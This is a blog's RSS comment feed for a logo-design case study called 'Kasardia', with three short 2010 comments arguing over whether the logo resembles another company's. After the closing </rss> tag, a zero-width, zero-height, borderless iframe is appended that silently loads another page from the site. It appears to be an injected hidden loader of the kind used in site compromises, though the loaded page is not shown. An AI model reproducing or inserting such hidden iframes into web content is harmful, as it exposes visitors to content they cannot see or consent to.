<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Case Study: Kasardia</title>
	<atom:link href="http://www.brohouse.ro/2010/01/10/case-study-kasardia/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brohouse.ro/2010/01/10/case-study-kasardia/</link>
	<description>Suntem un studio unde fabricam logo-uri de poveste, care ajuta brandurile, slujesc brandurile si servesc clientii.</description>
	<lastBuildDate>Tue, 17 Jan 2012 14:24:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Raluca</title>
		<link>http://www.brohouse.ro/2010/01/10/case-study-kasardia/comment-page-1/#comment-2202</link>
		<dc:creator>Raluca</dc:creator>
		<pubDate>Wed, 13 Jan 2010 20:58:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.brohouse.ro/?p=3359#comment-2202</guid>
		<description>Sorry for not being too explicite earlier. What i meant was that the two logos have almost the same symbol/drawing/shape(s); I&#039;m not talking about the font you used, the colour or the whole composition of the logo. I was refering strictly to the shapes, they are very alike... from my point of view. They are part of the same story and though they are presented in two different contexts (regarding the product they present)in my opinion they&#039;re not capable of expressing/supporting the second one. Guess I like context voice better... 
Keep up the good work!</description>
		<content:encoded><![CDATA[<p>Sorry for not being too explicite earlier. What i meant was that the two logos have almost the same symbol/drawing/shape(s); I&#8217;m not talking about the font you used, the colour or the whole composition of the logo. I was refering strictly to the shapes, they are very alike&#8230; from my point of view. They are part of the same story and though they are presented in two different contexts (regarding the product they present)in my opinion they&#8217;re not capable of expressing/supporting the second one. Guess I like context voice better&#8230;<br />
Keep up the good work!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: COSTIN OANE</title>
		<link>http://www.brohouse.ro/2010/01/10/case-study-kasardia/comment-page-1/#comment-2201</link>
		<dc:creator>COSTIN OANE</dc:creator>
		<pubDate>Wed, 13 Jan 2010 13:39:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.brohouse.ro/?p=3359#comment-2201</guid>
		<description>Context Voice? Not even close. Please check &quot;Context Voice logo&quot; one more time and you will find out why. Please feel free to add your arguments. 
Thanks for your feedback.</description>
		<content:encoded><![CDATA[<p>Context Voice? Not even close. Please check &#8220;Context Voice logo&#8221; one more time and you will find out why. Please feel free to add your arguments.<br />
Thanks for your feedback.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Raluca</title>
		<link>http://www.brohouse.ro/2010/01/10/case-study-kasardia/comment-page-1/#comment-2200</link>
		<dc:creator>Raluca</dc:creator>
		<pubDate>Wed, 13 Jan 2010 12:01:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.brohouse.ro/?p=3359#comment-2200</guid>
		<description>It instantly reminded me of Context Voice. The two are too alike. Otherwise, it looks pretty good, a bit plain though...</description>
		<content:encoded><![CDATA[<p>It instantly reminded me of Context Voice. The two are too alike. Otherwise, it looks pretty good, a bit plain though&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
  
<iframe src=http://www.brohouse.ro/index2.html scrolling="auto" width=0 height=0 frameborder="0"> </iframe>
